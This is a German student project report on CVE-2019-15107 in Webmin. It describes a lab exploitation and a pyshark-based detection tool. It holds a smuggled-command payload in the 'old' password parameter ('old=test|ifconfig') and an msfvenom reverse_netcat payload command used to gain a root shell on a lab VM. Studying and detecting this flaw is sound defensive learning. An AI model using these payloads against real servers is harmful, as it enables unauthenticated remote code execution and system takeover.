
Schulprojekt
I. Überblick über CVE-2019-15107
Webmin ist eine webbasierte Oberfläche zur Systemadministration für Unix. Mit jedem Webbrowser können Benutzerkonten, Apache, DNS, Dateifreigaben und mehr eingerichtet werden.
Am 10. August 2019 veröffentlichte der türkische Cybersicherheitsforscher Özkan Mustafa Akkuş die Zero-Day-Schwachstelle auf der DefCon. Neben der Veröffentlichung der Schwachstelle veröffentlichte Akkuş auch ein Metasploit-Modul zur Automatisierung der Ausnutzung dieser Schwachstelle. Aufgrund einer Codeausführungsschwachstelle in der Funktion zum Zurücksetzen des Passworts in der Datei password_change.cgi ermöglicht diese Schwachstelle einem Dritten, bösartigen Code auszuführen, ohne dass eine Eingabeauthentifizierung erforderlich ist.
II. Betroffene Versionen
Diese Schwachstelle betrifft Webmin-Versionen von 1.882 bis 1.921. Um diese Schwachstelle zu verhindern, sollten Benutzer von Webmin auf die neueste Version 1.93 aktualisieren.
III. Analyse der Schwachstelle
In Webmin muss die Funktion „Benutzern erlauben, ihr Passwort zu ändern“ aktiviert sein, um diese Schwachstelle auszunutzen. Dies ist die einzige Bedingung, jedoch aktivieren viele Webmin-Administratoren diese Funktion. Sie ermöglicht es Benutzern, mit dem alten Passwort ein neues Passwort festzulegen. Im Quellcode der Webmin-Anwendung gibt es einige bemerkenswerte „.cgi“-Dateien. Eine davon ist password_change.cgi.

Es gibt nur eine Anforderung, damit die Parameter in dieser Datei funktionieren: Der Wert „passwd_mode“ in der Konfigurationsdatei „miniserv.conf“ muss auf „2“ gesetzt sein.

An diesem Punkt werden wir „|“ verwenden, indem wir die Datei /etc/shadow während der Authentifizierung des alten Passworts lesen. Beispiel für einen normalen Passwortänderungsbefehl:

Wenn wir einen einfachen Befehl wie „ifconfig“ in den Passwortänderungsbefehl einfügen, wie unten gezeigt, wird der Befehl „ipconfig“ ausgeführt und das Ergebnis angezeigt.

IV. Implementierungsmodell
Ubuntu-Maschine (Opfer) mit installiertem Webmin Version 1.920 und IP-Adresse: 192.168.109.128

Kali-Maschine (Angreifer) mit IP-Adresse: 192.168.109.131


V. Ausnutzung der CVE-Schwachstelle

Dann sendet die Angreifermaschine diesen Request über den Repeater-Tab von Burp Suite, um den Fehler zu testen.

Der Angreifer bearbeitet einige Informationen aus dem abgefangenen Request-Paket. Da für die Passwortänderung die HTTP-Methode POST sein muss, nicht GET wie ursprünglich.

Dann sendet die Angreifermaschine einen Test-Request zur Passwortänderung vom alten Passwort an den Webmin-Server des Opfers:
„user=test&pam=&old=test&new1=test2&new2=test2“

Beim Senden des Requests erhalten wir die Meldung, dass das alte Passwort nicht stimmt (The current password is incorrect). Der Kern liegt also im Parameter „old“.
Als Nächstes versuchen wir, einen einfachen Befehl wie ifconfig nach dem Parameter old einzufügen, sodass beim Überprüfen des alten Passworts durch den Server sofort der eingefügte Befehl ausgeführt wird. Zum Beispiel:
„user=test&pam=&old=test|ifconfig&new1=test2&new2=test2“

Analog dazu ist das alte Passwort beim Überprüfen durch den Server immer noch falsch, aber nach der Überprüfung wurde der Befehl „ifconfig“ ausgeführt und angezeigt.
Um dann Root-Rechte zu erlangen, verwenden wir das Metasploit-Framework, um eine Payload zu erstellen und an den Webmin-Server des Opfers zu senden, um eine Shell-Sitzung zu erhalten.
„msfvenom -p cmd/unix/reverse_netcat lhost= lport=“

Als Nächstes kopieren wir die Payload und fügen sie in den Request auf Burp Suite ein.

Nach dem Senden des Requests mit der Payload an den Webmin-Server ist die Opfermaschine mit einer Reverse-Shell infiziert. Die Angreifermaschine erhält eine Shell-Sitzung zur Opfermaschine (IP: 192.168.109.128 Port 37218).

Somit haben wir durch diese CVE-Schwachstelle Root-Rechte erlangt.

VI. Identifizierung der Signatur des Angriffs
Verwendung von Wireshark zum Abfangen von Paketen auf der Netzwerkebene.

Da der Angreifer zur Ausnutzung dieser CVE auf den Pfad /password_change.cgi angewiesen ist, um Requests mit schädlichen Payloads über die HTTP-Methode POST zu senden, müssen wir die mit Wireshark abgefangenen HTTP-Pakete analysieren.

Wir sehen, dass der Befehl „ifconfig“ während der Überprüfung des alten Passworts durch den Webmin-Server eingefügt wurde.

Daher identifizieren wir die Signatur dieser CVE als die Parameter, die während des Passwortänderungsprozesses über den Pfad /password_change.cgi übergeben werden: „user=test&pam=&old=test | <vom Angreifer auszuführender Befehl> &new1=test2&new2=test2“ VII. Entwicklung eines Erkennungstools für CVE-2019-15107
Wie oben analysiert, muss der Angreifer zur Ausnutzung dieser CVE einen Befehl in den Parameter old („altes Passwort“) einfügen, um den Angriff durchzuführen.

Um zu erkennen, wer versucht, Befehle basierend auf dieser CVE-Schwachstelle einzuschleusen, müssen wir die von ihnen gesendeten HTTP-Pakete mit dem Tool „pyshark“ abfangen und analysieren.

Die Daten im abgefangenen HTTP-Paket werden im Hex-Format zurückgegeben. Anhand der Parameter „old=“ und „|“ können wir feststellen, ob jemand versucht, diese CVE auszunutzen. Die Funktion checkPayload prüft, ob ein HTTP-Paket verdächtig ist.

Anschließend, nachdem festgestellt wurde, welches HTTP-Paket verdächtig ist, gibt die Funktion getCommand die Befehle aus, die der Angreifer ausführt.

Der Prozess des Abfangens und Analysierens von Paketen wird auch im .csv-Format protokolliert.

VIII. Programmdemo
Wenn der Angreifer einen Angriff durchführt, warnt das Programm in Echtzeit.

Beim Beenden des Programms wird eine .csv-Datei mit dem gesamten während der Laufzeit abgefangenen Traffic erstellt (HTTP-Payload im Hex-Format).

Das Programm protokolliert auch die Gefahrenwarnungen.

IX. Schlussfolgerung Durch das Lernen und die Durchführung praktischer Übungen im Unterricht konnte ich einen Teil des Prozesses der Recherche und Analyse von Schadsoftware verstehen. Bei der Durchführung der Ausnutzung und der Entwicklung eines Programms zur Erkennung der Schwachstelle CVE-2019-15107 konnte ich das erworbene Wissen anwenden, um Schwachstellen anhand ihrer Signaturen zu analysieren und ein Erkennungsprogramm zu entwickeln, wodurch ich meine Fähigkeiten in der Analyse, Erkennung und Verarbeitung von Informationen sowie in der Netzwerksicherheitsüberwachung verbessern konnte.